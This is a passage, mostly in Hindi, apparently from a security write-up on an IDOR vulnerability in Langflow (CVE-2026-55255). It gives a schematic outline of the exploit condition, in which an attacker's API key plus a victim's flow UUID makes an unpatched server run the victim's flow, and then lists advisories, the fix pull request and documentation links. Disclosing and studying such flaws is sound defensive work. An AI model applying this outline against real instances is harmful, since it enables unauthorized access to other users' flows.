* या बाहरी कॉलबैक।
लक्ष्य एक नियंत्रित वातावरण में एक विशिष्ट तकनीकी स्थिति प्रदर्शित करना है:```text
HTTP request
+ attacker-owned API key
+ victim-owned flow UUID
+ vulnerable target executes victim-owned flow
+ patched target returns flow_not_found
CVE रिकॉर्ड: CVE-2026-55255 https://www.cve.org/CVERecord?id=CVE-2026-55255
GitHub सलाह: GHSA-qrpv-q767-xqq2 https://github.com/advisories/GHSA-qrpv-q767-xqq2
GitLab सलाह: CVE-2026-55255 https://advisories.gitlab.com/pypi/langflow/CVE-2026-55255/
Langflow पुल अनुरोध: fix(security): close IDOR in get_flow_by_id_or_endpoint_name (LE-639) #12832 https://github.com/langflow-ai/langflow/pull/12832
Langflow OpenAI Responses API दस्तावेज़ https://docs.langflow.org/api-openai-responses
Langflow API कुंजियाँ और प्रमाणीकरण दस्तावेज़ https://docs.langflow.org/api-keys-and-authentication
Langflow API संदर्भ उदाहरण https://docs.langflow.org/api-reference-api-examples
Langflow GitHub रिपॉजिटरी https://github.com/langflow-ai/langflow
Langflow Docker इमेज https://hub.docker.com/r/langflowai/langflow
GHSA-qrpv-q767-xqq2 के लिए Tenable प्लगिन नोट https://www.tenable.com/plugins/container-security/443659
Mondoo भेद्यता खुफिया: CVE-2026-55255 https://mondoo.com/vulnerability-intelligence/vulnerability/CVE-2026-55255